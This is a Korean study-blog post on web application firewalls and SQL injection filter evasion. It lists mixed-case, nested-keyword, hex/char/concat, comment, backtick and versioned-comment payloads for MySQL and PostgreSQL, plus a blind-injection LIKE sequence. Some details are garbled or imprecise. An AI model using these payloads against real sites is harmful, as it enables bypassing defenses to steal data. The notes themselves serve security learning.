[2025-07-16] ByPass WAF
🦥 본문
WAF
정의
Web Application Firewall. 웹 어플리케이션을 보호하기 위한 전용 방화벽
목적
- 웹 어플리케이션을 노리는 다양한 공격 차단
- HTTP 요청/응답을 검사하여 악성 패턴 탐지
- 로깅
동작 방식
- 사용자가 웹 서버에 요청
- 요청이 WAF를 먼저 통과
- WAF가 패턴 분석 후 악성 요청인 경우 차단
- 정상 요청만 웹 서버에 전달
WAF 우회
탐지 우회
- 대소문자 혼용 : SQL 문은 대소문자를 구분하지 않고 실행하기 때문에 대소문자 검사를 우회할 수 있다
- EX) UNION 키워드를 필터링 하는 경우의 공격
UnIoN SeLecT 1,2,3 selECT SlEep(5)
- 공백 치환 우회 : 필터링 시 해당 키워드를 공백으로 치환하는 경우 검사를 우회할 수 있다
- EX) UNION 키워드, SELECT 키워드를 필터링하여 공백으로 치환하는 경우의 공격
UNunionION SELselectECT 1,2 -- # => UNION SELECT 1,2 --
- reverse, concat 메소드 사용 : reverse나 concat 메소드를 사용하여 문자열 필터링을 우회할 수 있다.
- EX) reverse(), concat(), 아스키코드를 통한 우회 방법.
mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e; /* +------------------+--------------------+---------------+--------------+ | reverse('nimda') | concat('adm','in') | x'61646d696e' | 0x61646d696e | +------------------+--------------------+---------------+--------------+ | admin | admin | admin | admin | +------------------+--------------------+---------------+--------------+ 1 row in set (0.00 sec) */
- 연산자 검사 우회 : 연산자 키워드 필터링을 연산자 기호를 통해 우회할 수 있다.
- EX)
mysql> select 1 || 1; /* +--------+ | 1 || 1 | +--------+ | 1 | +--------+ 1 row in set (0.00 sec) */
- 공백 탐지 검사 우회 : 공백을 허용하는 경우 공격자가 다른 쿼리를 삽입하는 SQLi가 발생할 수 있어서 공백을 탐지하는 경우가 많다. 하지만 주석, Backtick 등을 이용하여 검사를 우회할 수 있다
- EX) 주석을 통한 우회
mysql> SELECT/**/'abc'; /* +-----+ | abc | +-----+ | abc | +-----+ 1 row in set (0.00 sec) */
- EX) Backtick을 이용한 우회
mysql> select`username`,(password)from`users`WHERE`username`='admin'; /* +----------+----------------+ | username | password | +----------+----------------+ | admin | admin_password | +----------+----------------+ 1 row in set (0.00 sec) */
-
LIKE를 이용한 Blind SQL injection
AND LIKE upw='p%' AND LIKE upw='pw%' .. AND LIKE upw='pw1234'
MySQL 우회 기법
-
MySQL 진법을 이용한 문자열 검사 우회
mysql> select 0x6162, 0b110000101100010; /* +--------+-------------------+ | 0x6162 | 0b110000101100010 | +--------+-------------------+ | ab | ab | +--------+-------------------+ 1 row in set (0.00 sec) */
-
메소드를 이용한 문자열 검사 우회
mysql> select char(0x61, 0x62); /* +------------------+ | char(0x61, 0x62) | +------------------+ | ab | +------------------+ 1 row in set (0.00 sec) */ mysql> select concat(char(0x61), char(0x62)); /* +--------------------------------+ | concat(char(0x61), char(0x62)) | +--------------------------------+ | ab | +--------------------------------+ */
- MySQL 가젯을 이용한 문자열 검사 우회
- 가젯 : 함수 또는 표현식 중 공격에 활용 가능한 함수 조합 또는 우회 도구
mysql> select mid(@@version,12,1); /* +---------------------+ | mid(@@version,12,1) | +---------------------+ | n | +---------------------+ */
-
개행을 이용한 공백 검사 우회
mysql> select -> 1; /* +---+ | 1 | +---+ | 1 | +---+ */
-
주석을 이용한 공백 검사 우회
mysql> select/**/1; /* +---+ | 1 | +---+ | 1 | +---+ */
-
WAF 주석을 이용한 우회 : /**/는 WAF에서는 주석이지만 SQL에서는 실행된다.
mysql> select 1 /*!union*/ select 2; /* +---+ | 1 | +---+ | 1 | | 2 | +---+ 2 rows in set (0.00 sec) */
PostgreSQL 우회 기법
-
메소드를 이용한 문자열 검사 우회
postgres=> select concat(chr(65), chr(66)); /* concat -------- AB */
-
가젯을 이용한 문자열 검사 우회
postgres=> select substring(version(),23,1); /* substring ----------- n */
-
개행을 이용한 공백 검사 우회
postgres=> select 1; /* ?column? ---------- 1 */
-
주석을 이용한 공백 검사 우회
postgres=> select/**/1; /* ?column? ---------- 1 */
Leave a comment